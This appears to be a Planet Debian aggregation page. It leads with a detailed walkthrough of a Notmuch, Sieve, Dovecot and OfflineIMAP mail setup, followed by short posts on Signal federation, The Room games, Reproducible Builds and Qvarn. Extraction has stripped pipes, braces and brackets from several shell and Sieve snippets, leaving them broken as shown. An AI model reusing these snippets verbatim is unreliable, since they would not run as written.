I've been using Notmuch since about 2011, switching away from Mutt to deal with the monstrous amount of emails I was, and still am dealing with on the computer. I have contributed a few patches and configs on the Notmuch mailing list, but basically, I have given up on merging patches, and instead have a custom config in Emacs that extend it the way I want. In the last 5 years, Notmuch has progressed significantly, so I haven't found the need to patch it or make sweeping changes.

The huge INBOX of death The one thing that is problematic with my use of Notmuch is that I end up with a ridiculously large INBOX folder. Before the cleanup I did this morning, I had over 10k emails in there, out of about 200k emails overall. Since I mostly work from my laptop these days, the Notmuch tags are only on the laptop, and not propagated to the server. This makes accessing the mail spool directly, from webmail or simply through a local client (say Mutt) on the server, really inconvenient, because it has to load a very large spool of mail, which is very slow in Mutt. Even worse, a bunch of mail that was archived in Notmuch shows up in the spool because it's just removed tags in Notmuch: the mails are still in the inbox, even though they are marked as read. So I was hoping that Notmuch would help me deal with the giant inbox of death problem, but in fact, when I don't use Notmuch, it actually makes the problem worse. Today, I did a bunch of improvements to my setup to fix that. The first thing I did was to kill procmail, which I was surprised to discover has been dead for over a decade. I switched over to Sieve for filtering, having already switched to Dovecot a while back on the server. I tried to use the procmail2sieve.pl conversion tool but it didn't work very well, so I basically rewrote the whole file. Since I was mostly using Notmuch for filtering, there wasn't much left to convert.

Sieve filtering But this is where things got interesting: Sieve is so simpler to use and more intuitive that I started doing more interesting stuff in bridging the filtering system (Sieve) with the tagging system (Notmuch). Basically, I use Sieve to split large chunks of emails off my main inbox, to try to remove as much spam, bulk email, notifications and mailing lists as possible from the larger flow of emails. Then Notmuch comes in and does some fine-tuning, assigning tags to specific mailing lists or topics, and being generally the awesome search engine that I use on a daily basis.

Dovecot and Postfix configs For all of this to work, I had to tweak my mail servers to talk sieve. First, I enabled sieve in Dovecot:
--- a/dovecot/conf.d/15-lda.conf
+++ b/dovecot/conf.d/15-lda.conf
@@ -44,5 +44,5 @@
 protocol lda  
   # Space separated list of plugins to load (default is global mail_plugins).
-  #mail_plugins = $mail_plugins
+  mail_plugins = $mail_plugins sieve
  
Then I had to switch from procmail to dovecot for local delivery, that was easy, in Postfix's perennial main.cf:
#mailbox_command = /usr/bin/procmail -a "$EXTENSION"
mailbox_command = /usr/lib/dovecot/dovecot-lda -a "$RECIPIENT"
Note that dovecot takes the full recipient as an argument, not just the extension. That's normal. It's clever, it knows that kind of stuff. One last tweak I did was to enable automatic mailbox creation and subscription, so that the automatic extension filtering (below) can create mailboxes on the fly:
--- a/dovecot/conf.d/15-lda.conf
+++ b/dovecot/conf.d/15-lda.conf
@@ -37,10 +37,10 @@
 #lda_original_recipient_header =
 # Should saving a mail to a nonexistent mailbox automatically create it?
-#lda_mailbox_autocreate = no
+lda_mailbox_autocreate = yes
 # Should automatically created mailboxes be also automatically subscribed?
-#lda_mailbox_autosubscribe = no
+lda_mailbox_autosubscribe = yes
 protocol lda  
   # Space separated list of plugins to load (default is global mail_plugins).

Sieve rules Then I had to create a Sieve ruleset. That thing lives in ~/.dovecot.sieve, since I'm running Dovecot. Your provider may accept an arbitrary ruleset like this, or you may need to go through a web interface, or who knows. I'm assuming you're running Dovecot and have a shell from now on. The first part of the file is simply to enable a bunch of extensions, as needed:
# Sieve Filters
# http://wiki.dovecot.org/Pigeonhole/Sieve/Examples
# https://tools.ietf.org/html/rfc5228
require "fileinto";
require "envelope";
require "variables";
require "subaddress";
require "regex";
require "vacation";
require "vnd.dovecot.debug";
Some of those are not used yet, for example I haven't tested the vacation module yet, but I have good hopes that I can use it as a way to announce a special "urgent" mailbox while I'm traveling. The rationale is to have a distinct mailbox for urgent messages that is announced in the autoreply, that hopefully won't be parsable by bots.

Spam filtering Then I filter spam using this fairly standard expression:
########################################################################
# spam 
# possible improvement, server-side:
# http://wiki.dovecot.org/Pigeonhole/Sieve/Examples#Filtering_using_the_spamtest_and_virustest_extensions
if header :contains "X-Spam-Flag" "YES"  
  fileinto "junk";
  stop;
  elsif header :contains "X-Spam-Level" "***"  
  fileinto "greyspam";
  stop;
 
This puts stuff into the junk or greyspam folder, based on the severity. I am very aggressive with spam: stuff often ends up in the greyspam folder, which I need to check from time to time, but it beats having too much spam in my inbox.

Mailing lists Mailing lists are generally put into a lists folder, with some mailing lists getting their own folder:
########################################################################
# lists
# converted from procmail
if header :contains "subject" "FreshPorts"  
    fileinto "freshports";
  elsif header :contains "List-Id" "alternc.org"  
    fileinto "alternc";
  elsif header :contains "List-Id" "koumbit.org"  
    fileinto "koumbit";
  elsif header :contains ["to", "cc"] ["lists.debian.org",
                                       "anarcat@debian.org"]  
    fileinto "debian";
# Debian BTS
  elsif exists "X-Debian-PR-Message"  
    fileinto "debian";
# default lists fallback
  elsif exists "List-Id"  
    fileinto "lists";
 
The idea here is that I can safely subscribe to lists without polluting my mailbox by default. Further processing is done in Notmuch.

Extension matching I also use the magic +extension tag on emails. If you send email to, say, foo+extension@example.com then the emails end up in the foo folder. This is done with the help of the following recipe:
########################################################################
# wildcard +extension
# http://wiki.dovecot.org/Pigeonhole/Sieve/Examples#Plus_Addressed_mail_filtering
if envelope :matches :detail "to" "*"  
  # Save name in $ name  in all lowercase except for the first letter.
  # Joe, joe, jOe thus all become 'Joe'.
  set :lower "name" "$ 1 ";
  fileinto "$ name ";
  #debug_log "filed into mailbox $ name  because of extension";
  stop;
 
This is actually very effective: any time I register to a service, I try as much as possible to add a +extension that describe the service. Of course, spammers and marketers (it's the same really) are free to drop the extension and I suspect a lot of them do, but it helps with honest providers and this actually sorts a lot of stuff out of my inbox into topically-defined folders. It is also a security issue: someone could flood my filesystem with tons of mail folders, which would cripple the IMAP server and eat all the inodes, 4 times faster than just sending emails. But I guess I'll cross that bridge when I get there: anyone can flood my address and I have other mechanisms to deal with this. The trick is to then assign tags to all folders so that they appear in the Notmuch-emacs welcome view:
echo tagging folders
for folder in $(ls -ad $HOME/Maildir/$ PREFIX */   egrep -v "Maildir/$ PREFIX (feeds.* Sent.* INBOX/ INBOX/Sent)\$"); do
    tag=$(echo $folder   sed 's#/$##;s#^.*/##')
    notmuch tag +$tag -inbox tag:inbox and not tag:$tag and folder:$ PREFIX $tag
done
This is part of my notmuch-tag script that includes a lot more fine-tuned filtering, detailed below.

Automated reports filtering Another thing I get a lot of is machine-generated "spam". Well, it's not commercial spam, but it's a bunch of Nagios, cron jobs, and god knows what software thinks it's important to send me emails every day. I get a lot less of those these days since I'm off work at Koumbit, but still, those can be useful for others as well:
if anyof (exists "X-Cron-Env",
          header :contains ["subject"] ["security run output",
                                        "monthly run output",
                                        "daily run output",
                                        "weekly run output",
                                        "Debian Package Updates",
                                        "Debian package update",
                                        "daily mail stats",
                                        "Anacron job",
                                        "nagios",
                                        "changes report",
                                        "run output",
                                        "[Systraq]",
                                        "Undelivered mail",
                                        "Postfix SMTP server: errors from",
                                        "backupninja",
                                        "DenyHosts report",
                                        "Debian security status",
                                        "apt-listchanges"
                                        ],
           header :contains "Auto-Submitted" "auto-generated",
           envelope :contains "from" ["nagios@",
                                      "logcheck@"])
     
    fileinto "rapports";
 
# imported from procmail
elsif header :comparator "i;octet" :contains "Subject" "Cron"  
  if header :regex :comparator "i;octet"  "From" ".*root@"  
        fileinto "rapports";
   
 
elsif header :comparator "i;octet" :contains "To" "root@"  
  if header :regex :comparator "i;octet"  "Subject" "\\*\\*\\* SECURITY"  
        fileinto "rapports";
   
 
elsif header :contains "Precedence" "bulk"  
    fileinto "bulk";
 

Refiltering emails Of course, after all this I still had thousands of emails in my inbox, because the sieve filters apply only on new emails. The beauty of Sieve support in Dovecot is that there is a neat sieve-filter command that can reprocess an existing mailbox. That was a lifesaver. To run a specific sieve filter on a mailbox, I simply run:
sieve-filter .dovecot.sieve INBOX 2>&1   less
Well, this doesn't do anything. To really execute the filters, you need the -e flags, and to write to the INBOX for real, you need the -w flag as well, so the real run looks something more like this:
sieve-filter -e -W -v .dovecot.sieve INBOX > refilter.log 2>&1
The funky output redirects are necessary because this outputs a lot of crap. Also note that, unfortunately, the fake run output differs from the real run and is actually more verbose, which makes it really less useful than it could be.

Archival I also usually archive my mails every year, rotating my mailbox into an Archive.YYYY directory. For example, now all mails from 2015 are archived in a Archive.2015 directory. I used to do this with Mutt tagging and it was a little slow and error-prone. Now, i simply have this Sieve script:
require ["variables","date","fileinto","mailbox", "relational"];
# Extract date info
if currentdate :matches "year" "*"   set "year" "$ 1 ";  
if date :value "lt" :originalzone "date" "year" "$ year "  
  if date :matches "received" "year" "*"  
    # Archive Dovecot mailing list items by year and month.
    # Create folder when it does not exist.
    fileinto :create "Archive.$ 1 ";
   
 
I went from 15613 to 1040 emails in my real inbox with this process (including refiltering with the default filters as well).

Notmuch configuration My Notmuch configuration is a in three parts: I have small settings in ~/.notmuch-config. The gist of it is:
[new]
tags=unread;inbox;
ignore=
#[maildir]
# synchronize_flags=true
# tentative patch that was refused upstream
# http://mid.gmane.org/1310874973-28437-1-git-send-email-anarcat@koumbit.org
#reckless_trash=true
[search]
exclude_tags=deleted;spam;
I omitted the fairly trivial [user] section for privacy reasons and [database] for declutter. Then I have a notmuch-tag script symlinked into ~/Maildir/.notmuch/hooks/post-new. It does way too much stuff to describe in details here, but here are a few snippets:
if hostname   grep angela > /dev/null; then
    PREFIX=Anarcat/
else
    PREFIX=.
fi
This sets a variable that makes the script work on my laptop (angela), where mailboxes are in Maildir/Anarcat/foo or the server, where mailboxes are in Maildir/.foo. I also have special rules to tag my RSS feeds, which are generated by feed2imap, which is documented shortly below:
echo tagging feeds
( cd $HOME/Maildir/ && for feed in $ PREFIX feeds.*; do
    name=$(echo $feed   sed "s#$ PREFIX feeds\\.##")
    notmuch tag +feeds +$name -inbox folder:$feed and not tag:feeds
done )
Another example that would be useful is how to tag mailing lists, for example, this removes the inbox tag and adds the notmuch tags to emails from the notmuch mailing list.
notmuch tag +lists +notmuch      -inbox tag:inbox and "to:notmuch@notmuchmail.org"
Finally, I have a bunch of special keybindings in ~/.emacs.d/notmuch-config.el:
;; autocompletion
(eval-after-load "notmuch-address"
  '(progn
     (notmuch-address-message-insinuate)))
; use fortune for signature, config is in custom
(add-hook 'message-setup-hook 'fortune-to-signature)
; don't remember what that is
(add-hook 'notmuch-show-hook 'visual-line-mode)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; keymappings
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
(define-key notmuch-show-mode-map "S"
  (lambda ()
    "mark message as spam and advance"
    (interactive)
    (notmuch-show-tag '("+spam" "-unread"))
    (notmuch-show-next-open-message-or-pop)))
(define-key notmuch-search-mode-map "S"
  (lambda (&optional beg end)
    "mark message as spam and advance"
    (interactive (notmuch-search-interactive-region))
    (notmuch-search-tag (list "+spam" "-unread") beg end)
    (anarcat/notmuch-search-next-message)))
(define-key notmuch-show-mode-map "H"
  (lambda ()
    "mark message as spam and advance"
    (interactive)
    (notmuch-show-tag '("-spam"))
    (notmuch-show-next-open-message-or-pop)))
(define-key notmuch-search-mode-map "H"
  (lambda (&optional beg end)
    "mark message as spam and advance"
    (interactive (notmuch-search-interactive-region))
    (notmuch-search-tag (list "-spam") beg end)
    (anarcat/notmuch-search-next-message)))
(define-key notmuch-search-mode-map "l" 
  (lambda (&optional beg end)
    "undelete and advance"
    (interactive (notmuch-search-interactive-region))
    (notmuch-search-tag (list "-unread") beg end)
    (anarcat/notmuch-search-next-message)))
(define-key notmuch-search-mode-map "u"
  (lambda (&optional beg end)
    "undelete and advance"
    (interactive (notmuch-search-interactive-region))
    (notmuch-search-tag (list "-deleted") beg end)
    (anarcat/notmuch-search-next-message)))
(define-key notmuch-search-mode-map "d"
  (lambda (&optional beg end)
    "delete and advance"
    (interactive (notmuch-search-interactive-region))
    (notmuch-search-tag (list "+deleted" "-unread") beg end)
    (anarcat/notmuch-search-next-message)))
(define-key notmuch-show-mode-map "d"
  (lambda ()
    "delete current message and advance"
    (interactive)
    (notmuch-show-tag '("+deleted" "-unread"))
    (notmuch-show-next-open-message-or-pop)))
;; https://notmuchmail.org/emacstips/#index17h2
(define-key notmuch-show-mode-map "b"
  (lambda (&optional address)
    "Bounce the current message."
    (interactive "sBounce To: ")
    (notmuch-show-view-raw-message)
    (message-resend address)
    (kill-buffer)))
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; my custom notmuch functions
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
(defun anarcat/notmuch-search-next-thread ()
  "Skip to next message from region or point
This is necessary because notmuch-search-next-thread just starts
from point, whereas it seems to me more logical to start from the
end of the region."
  ;; move line before the end of region if there is one
  (unless (= beg end)
    (goto-char (- end 1)))
  (notmuch-search-next-thread))
;; Linking to notmuch messages from org-mode
;; https://notmuchmail.org/emacstips/#index23h2
(require 'org-notmuch nil t)
(message "anarcat's custom notmuch config loaded")
This is way too long: in my opinion, a bunch of that stuff should be factored in upstream, but some features have been hard to get in. For example, Notmuch is really hesitant in marking emails as deleted. The community is also very strict about having unit tests for everything, which makes writing new patches a significant challenge for a newcomer, which will often need to be familiar with both Elisp and C. So for now I just have those configs that I carry around. Emails marked as deleted or spam are processed with the following script named notmuch-purge which I symlink to ~/Maildir/.notmuch/hooks/pre-new:
#!/bin/sh
if hostname   grep angela > /dev/null; then
    PREFIX=Anarcat/
else
    PREFIX=.
fi
echo moving tagged spam to the junk folder
notmuch search --output=files tag:spam \
        and not folder:$ PREFIX junk \
        and not folder:$ PREFIX greyspam \
        and not folder:Koumbit/INBOX \
        and not path:Koumbit/** \
      while read file; do
          mv "$file" "$HOME/Maildir/$ PREFIX junk/cur"
      done
echo unconditionnally deleting deleted mails
notmuch search --output=files tag:deleted   xargs -r rm
Oh, and there's also customization for Notmuch:
;; -*- mode: emacs-lisp; auto-recompile: t; -*-
(custom-set-variables
 ;; from https://anarc.at/sigs.fortune
 '(fortune-file "/home/anarcat/.mutt/sigs.fortune")
 '(message-send-hook (quote (notmuch-message-mark-replied)))
 '(notmuch-address-command "notmuch-address")
 '(notmuch-always-prompt-for-sender t)
 '(notmuch-crypto-process-mime t)
 '(notmuch-fcc-dirs
   (quote
    ((".*@koumbit.org" . "Koumbit/INBOX.Sent")
     (".*" . "Anarcat/Sent"))))
 '(notmuch-hello-tag-list-make-query "tag:unread")
 '(notmuch-message-headers (quote ("Subject" "To" "Cc" "Bcc" "Date" "Reply-To")))
 '(notmuch-saved-searches
   (quote
    ((:name "inbox" :query "tag:inbox and not tag:koumbit and not tag:rt")
     (:name "unread inbox" :query "tag:inbox and tag:unread")
     (:name "unread" :query "tag:unred")
     (:name "freshports" :query "tag:freshports and tag:unread")
     (:name "rapports" :query "tag:rapports and tag:unread")
     (:name "sent" :query "tag:sent")
     (:name "drafts" :query "tag:draft"))))
 '(notmuch-search-line-faces
   (quote
    (("deleted" :foreground "red")
     ("unread" :weight bold)
     ("flagged" :foreground "blue"))))/
 '(notmuch-search-oldest-first nil)
 '(notmuch-show-all-multipart/alternative-parts nil)
 '(notmuch-show-all-tags-list t)
 '(notmuch-show-insert-text/plain-hook
   (quote
    (notmuch-wash-convert-inline-patch-to-part notmuch-wash-tidy-citations notmuch-wash-elide-blank-lines notmuch-wash-excerpt-citations)))
 )
I think that covers it.

Offlineimap So of course the above works well on the server directly, but how do run Notmuch on a remote machine that doesn't have access to the mail spool directly? This is where OfflineIMAP comes in. It allows me to incrementally synchronize a local Maildir folder hierarchy with a a remote IMAP server. I am assuming you already have an IMAP server configured, since you already configured Sieve above. Note that other synchronization tools exist. The other popular one is isync but I had trouble migrating to it (see courriels for details) so for now I am sticking with OfflineIMAP. The configuration is fairly simple:
[general]
accounts = Anarcat
ui = Blinkenlights
maxsyncaccounts = 3
[Account Anarcat]
localrepository = LocalAnarcat
remoterepository = RemoteAnarcat
# refresh all mailboxes every 10 minutes
autorefresh = 10
# run notmuch after refresh
postsynchook = notmuch new
# sync only mailboxes that changed
quick = -1
## possible optimisation: ignore mails older than a year
#maxage = 365
# local mailbox location
[Repository LocalAnarcat]
type = Maildir
localfolders = ~/Maildir/Anarcat/
# remote IMAP server
[Repository RemoteAnarcat]
type = IMAP
remoteuser = anarcat
remotehost = anarc.at
ssl = yes
# without this, the cert is not verified (!)
sslcacertfile = /etc/ssl/certs/DST_Root_CA_X3.pem
# do not sync archives
folderfilter = lambda foldername: not re.search('(Sent\.20[01][0-9]\..*)', foldername) and not re.search('(Archive.*)', foldername)
# and only subscribed folders
subscribedonly = yes
# don't reconnect all the time
holdconnectionopen = yes
# get mails from INBOX immediately, doesn't trigger postsynchook
idlefolders = ['INBOX']
Critical parts are:
  • postsynchook: obviously, we want to run notmuch after fetching mail
  • idlefolders: receives emails immediately without waiting for the longer autorefresh delay, which means that most mailboxes don't see new emails until 10 minutes in the worst case. unfortunately, doesn't run the postsynchook so I need to hit G in Emacs to see new mail
  • quick=-1, subscribedonly, holdconnectionopen: makes most runs much, much faster as it skips unchanged or unsubscribed folders and keeps the connection to the server
The other settings should be self-explanatory.

RSS feeds I gave up on RSS readers, or more precisely, I merged RSS feeds and email. The first time I heard of this, it sounded like a horrible idea, because it means yet more emails! But with proper filtering, it's actually a really nice way to process emails, since it leverages the distributed nature of email. For this I use a fairly standard feed2imap, although I do not deliver to an IMAP server, but straight to a local Maildir. The configuration looks like this:
---
include-images: true
target-refix: &target "maildir:///home/anarcat/Maildir/.feeds."
feeds:
- name: Planet Debian
  url: http://planet.debian.org/rss20.xml
  target: [ *target, 'debian-planet' ]
I have obviously more feeds, the above is just and example. This will deliver the feeds as emails in one mailbox per feed, in ~/Maildir/.feeds.debian-planet, in the above example.

Troubleshooting You will fail at writing the sieve filters correctly, and mail will (hopefully?) fall through to your regular mailbox. Syslog will tell you things fail, as expected, and details are in your .dovecot.sieve.log file in your home directory. I also enabled debugging on the Sieve module
--- a/dovecot/conf.d/90-sieve.conf
+++ b/dovecot/conf.d/90-sieve.conf
@@ -51,6 +51,7 @@ plugin  
        # deprecated imapflags extension in addition to all extensions were already
   # enabled by default.
   #sieve_extensions = +notify +imapflags
+  sieve_extensions = +vnd.dovecot.debug
   # Which Sieve language extensions are ONLY available in global scripts. This
   # can be used to restrict the use of certain Sieve extensions to administrator
This allowed me to use debug_log function in the rulesets to output stuff directly to the logfile.

Further improvements Of course, this is all done on the commandline, but that is somewhat expected if you are already running Notmuch. Of course, it would be much easier to edit those filters through a GUI. Roundcube has a nice Sieve plugin, and Thunderbird also has such a plugin as well. Since Sieve is a standard, there's a bunch of clients available. All those need you to setup some sort of thing on the server, which I didn't bother doing yet. And of course, a key improvement would be to have Notmuch synchronize its state better with the mailboxes directly, instead of having the notmuch-purge hack above. Dovecot and Maildir formats support up to 26 flags, and there were discussions about using those flags to synchronize with notmuch tags so that multiple notmuch clients can see the same tags on different machines transparently. This, however, won't make Notmuch work on my phone or webmail or any other more generic client: for that, Sieve rules are still very useful. I still don't have webmail setup at all: so to read email, I need an actual client, which is currently my phone, which means I need to have Wifi access to read email. "Internet Caf s" or "this guy's computer" won't work as well, although I can always use ssh to login straight to the server and read mails with Mutt. I am also considering using X509 client certificates to authenticate to the mail server without a passphrase. This involves configuring Postfix, which seems simple enough. Dovecot's configuration seems a little more involved and less well documented. It seems that both [OfflimeIMAP][] and K-9 mail support client-side certs. OfflineIMAP prompts me for the password so it doesn't get leaked anywhere. I am a little concerned about building yet another CA, but I guess it would not be so hard... The server side of things needs more documenting, particularly the spam filters. This is currently spread around this wiki, mostly in configuration.

Security considerations The whole purpose of this was to make it easier to read my mail on other devices. This introduces a new vulnerability: someone may steal that device or compromise it to read my mail, impersonate me on different services and even get a shell on the remote server. Thanks to the two-factor authentication I setup on the server, I feel a little more confident that just getting the passphrase to the mail account isn't sufficient anymore in leveraging shell access. It also allows me to login with ssh on the server without trusting the machine too much, although that only goes so far... Of course, sudo is then out of the question and I must assume that everything I see is also seen by the attacker, which can also inject keystrokes and do all sorts of nasty things. Since I also connected my email account on my phone, someone could steal the phone and start impersonating me. The mitigation here is that there is a PIN for the screen lock, and the phone is encrypted. Encryption isn't so great when the passphrase is a PIN, but I'm working on having a better key that is required on reboot, and the phone shuts down after 5 failed attempts. This is documented in my phone setup. Client-side X509 certificates further mitigates those kind of compromises, as the X509 certificate won't give shell access. Basically, if the phone is lost, all hell breaks loose: I need to change the email password (or revoke the certificate), as I assume the account is about to be compromised. I do not trust Android security to give me protection indefinitely. In fact, one could argue that the phone is already compromised and putting the password there already enabled a possible state-sponsored attacker to hijack my email address. This is why I have an OpenPGP key on my laptop to authenticate myself for critical operations like code signatures. The risk of identity theft from the state is, after all, a tautology: the state is the primary owner of identities, some could say by definition. So if a state-sponsored attacker would like to masquerade as me, they could simply issue a passport under my name and join a OpenPGP key signing party, and we'd have other problems to deal with, namely, proper infiltration counter-measures and counter-snitching.

Matthew Garrett: Convenience, security and freedom - can we pick all three?

Moxie, the lead developer of the Signal secure communication application, recently blogged on the tradeoffs between providing a supportable federated service and providing a compelling application that gains significant adoption. There's a set of perfectly reasonable arguments around that that I don't want to rehash - regardless of feelings on the benefits of federation in general, there's certainly an increase in engineering cost in providing a stable intra-server protocol that still allows for addition of new features, and the person leading a project gets to make the decision about whether that's a valid tradeoff.

One voiced complaint about Signal on Android is the fact that it depends on the Google Play Services. These are a collection of proprietary functions for integrating with Google-provided services, and Signal depends on them to provide a good out of band notification protocol to allow Signal to be notified when new messages arrive, even if the phone is otherwise in a power saving state. At the time this decision was made, there were no terribly good alternatives for Android. Even now, nobody's really demonstrated a free implementation that supports several million clients and has no negative impact on battery life, so if your aim is to write a secure messaging client that will be adopted by as many people is possible, keeping this dependency is entirely rational.

On the other hand, there are users for whom the decision not to install a Google root of trust on their phone is also entirely rational. I have no especially good reason to believe that Google will ever want to do something inappropriate with my phone or data, but it's certainly possible that they'll be compelled to do so against their will. The set of people who will ever actually face this problem is probably small, but it's probably also the set of people who benefit most from Signal in the first place.

(Even ignoring the dependency on Play Services, people may not find the official client sufficient - it's very difficult to write a single piece of software that satisfies all users, whether that be down to accessibility requirements, OS support or whatever. Slack may be great, but there's still people who choose to use Hipchat)

This shouldn't be a problem. Signal is free software and anybody is free to modify it in any way they want to fit their needs, and as long as they don't break the protocol code in the process it'll carry on working with the existing Signal servers and allow communication with people who run the official client. Unfortunately, Moxie has indicated that he is not happy with forked versions of Signal using the official servers. Since Signal doesn't support federation, that means that users of forked versions will be unable to communicate with users of the official client.

This is awkward. Signal is deservedly popular. It provides strong security without being significantly more complicated than a traditional SMS client. In my social circle there's massively more users of Signal than any other security app. If I transition to a fork of Signal, I'm no longer able to securely communicate with them unless they also install the fork. If the aim is to make secure communication ubiquitous, that's kind of a problem.

Right now the choices I have for communicating with people I know are either convenient and secure but require non-free code (Signal), convenient and free but insecure (SMS) or secure and free but horribly inconvenient (gpg). Is there really no way for us to work as a community to develop something that's all three?

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11 May 2016

Norbert Preining: Gaming: The Room series

After having finished Monument Valley and some spin-offs, Google Play suggested me The Room series games (The Room, The Room II, Room III), classical puzzle games with a common theme one needs to escape from some confinement. room3 I have finished all the three games, game play was very nice and smooth on my phone (Nexus 6P). The graphics and detail level is often astonishing, and everything is well made. But there is one drop of Vermouth: You need a strong finger tapping muscle! I really love solving the puzzles, but most of them were not really difficult. The real difficulty is finding everything by touching each and every knob, looking from all angles at all times. This later part, the tedious part to find things by often illogically tapping on strange places to realize ahh, there is something that turns , that is what I do not like. I had the feeling that more than 60% of the game play is searching for things. Once you have found them, their use and the actual riddle is mostly straightforward, though. The Room series somehow reminded me of the Myst series (Myst, Riven, Myst III etc), but afair the Myst series had more involved, more complicated riddles, and less searching. Also the recently reviewed Talos Principle and Portal series have clear set problems that challenge your brain, not your finger tapping muscle. But all in all a very enjoyable series of games. Final remark: I learned recently that there are real-world games like this, called Escape Room . Somehow tempting to try one out

10 May 2016

Reproducible builds folks: Reproducible builds: week 54 in Stretch cycle

What happened in the Reproducible Builds effort between May 1st and May 7th 2016: Media coverage There has been a surprising tweet last week: "Props to @FiloSottile for his nifty gvt golang tool. We're using it to get reproducible builds for a Zika & West Nile monitoring project." and to our surprise Kenn confirmed privately that he indeed meant "reproducible builds" as in "bit by bit identical builds". Wow. We're looking forward to learn more details about this; for now we just know that they are doing this for software quality reasons basically. Two of the four GSoC and Outreachy participants for Reproducible builds posted their introductions to Planet Debian: Toolchain fixes and other upstream developments dpkg 1.18.5 was uploaded fixing two bugs relevant to us: This upload made it necessary to rebase our dpkg on the version on sid again, which Niko Tyni and Lunar promptly did. Then a few days later 1.18.6 was released to fix a regression in the previous upload, and Niko promptly updated our patched version again. Following this Niko Tyni found #823428: "dpkg: many packages affected by dpkg-source: error: source package uses only weak checksums". Alexis Bienven e worked on tex related packages and SOURCE_DATE_EPOCH: Emmanuel Bourg uploaded jflex/1.4.3+dfsg-2, which removes timestamps from generated files. Packages fixed The following 285 packages have become reproducible due to changes in their build dependencies (mostly from GCC honouring SOURCE_DATE_EPOCH, see the previous week report): 0ad abiword abcm2ps acedb acpica-unix actiona alliance amarok amideco amsynth anjuta aolserver4-nsmysql aolserver4-nsopenssl aolserver4-nssqlite3 apbs aqsis aria2 ascd ascii2binary atheme-services audacity autodocksuite avis awardeco bacula ballerburg bb berusky berusky2 bindechexascii binkd boinc boost1.58 boost1.60 bwctl cairo-dock cd-hit cenon.app chipw ckermit clp clustalo cmatrix coinor-cbc commons-pool cppformat crashmail crrcsim csvimp cyphesis-cpp dact dar darcs darkradiant dcap dia distcc dolphin-emu drumkv1 dtach dune-localfunctions dvbsnoop dvbstreamer eclib ed2k-hash edfbrowser efax-gtk efax exonerate f-irc fakepop fbb filezilla fityk flasm flightgear fluxbox fmit fossil freedink-dfarc freehdl freemedforms-project freeplayer freeradius fxload gdb-arm-none-eabi geany-plugins geany geda-gaf gfm gif2png giflib gifticlib glaurung glusterfs gnokii gnubiff gnugk goaccess gocr goldencheetah gom gopchop gosmore gpsim gputils grcompiler grisbi gtkpod gvpe hardlink haskell-github hashrat hatari herculesstudio hpcc hypre i2util incron infiniband-diags infon ips iptotal ipv6calc iqtree jabber-muc jama jamnntpd janino jcharts joy2key jpilot jumpnbump jvim kanatest kbuild kchmviewer konclude krename kscope kvpnc latexdiff lcrack leocad libace-perl libcaca libcgicc libdap libdbi-drivers libewf libjlayer-java libkcompactdisc liblscp libmp3spi-java libpwiz librecad libspin-java libuninum libzypp lightdm-gtk-greeter lighttpd linpac lookup lz4 lzop maitreya meshlab mgetty mhwaveedit minbif minc-tools moc mrtrix mscompress msort mudlet multiwatch mysecureshell nifticlib nkf noblenote nqc numactl numad octave-optim omega-rpg open-cobol openmama openmprtl openrpt opensm openvpn openvswitch owx pads parsinsert pcb pd-hcs pd-hexloader pd-hid pd-libdir pear-channels pgn-extract phnxdeco php-amqp php-apcu-bc php-apcu php-solr pidgin-librvp plan plymouth pnscan pocketsphinx polygraph portaudio19 postbooks-updater postbooks powertop previsat progressivemauve puredata-import pycurl qjackctl qmidinet qsampler qsopt-ex qsynth qtractor quassel quelcom quickplot qxgedit ratpoison rlpr robojournal samplv1 sanlock saods9 schism scorched3d scummvm-tools sdlbasic sgrep simh sinfo sip-tester sludge sniffit sox spd speex stimfit swarm-cluster synfig synthv1 syslog-ng tart tessa theseus thunar-vcs-plugin ticcutils tickr tilp2 timbl timblserver tkgate transtermhp tstools tvoe ucarp ultracopier undbx uni2ascii uniutils universalindentgui util-vserver uudeview vfu virtualjaguar vmpk voms voxbo vpcs wipe x264 xcfa xfrisk xmorph xmount xyscan yacas yasm z88dk zeal zsync zynaddsubfx Last week the 1000th bug usertagged "reproducible" was fixed! This means roughly 2 bugs per day since 2015-01-01. Kudos and huge thanks to everyone involved! Please also note: FTBFS packages have not been counted here and there are still 600 open bugs with reproducible patches provided. Please help bringing that number down to 0! The following packages have become reproducible after being fixed: Some uploads have fixed some reproducibility issues, but not all of them: Uploads which fix reproducibility issues, but currently FTBFS: Patches submitted that have not made their way to the archive yet: Package reviews 54 reviews have been added, 6 have been updated and 44 have been removed in this week. 18 FTBFS bugs have been reported by Chris Lamb, James Cowgill and Niko Tyni. diffoscope development Thanks to Mattia, diffoscope 52~bpo8+1 is available in jessie-backports now. tests.reproducible-builds.org Misc. This week's edition was written by Reiner Herrmann, Holger Levsen and Mattia Rizzolo and reviewed by a bunch of Reproducible builds folks on IRC. Mattia also wrote a small ikiwiki macro for this blog to ease linking reproducible issues, packages in the package tracker and bugs in the Debian BTS.

Lars Wirzenius: Qvarn Platform announcement

In March we started a new company, to develop and support the software whose development I led at my previous job. The software is Qvarn, and it's fully free software, licensed under AGPL3+. The company is QvarnLabs (no website yet). Our plan is to earn a living from this, and our hope is to provide software that is actually useful for helping various organisations handle data securely. The first press release about Qvarn was sent out today. We're still setting up the company and getting operational, but a little publicity never hurts. (Even if it is more marketing-speak and self-promotion than I would normally put on my blog.) So this is what I do for a living now.

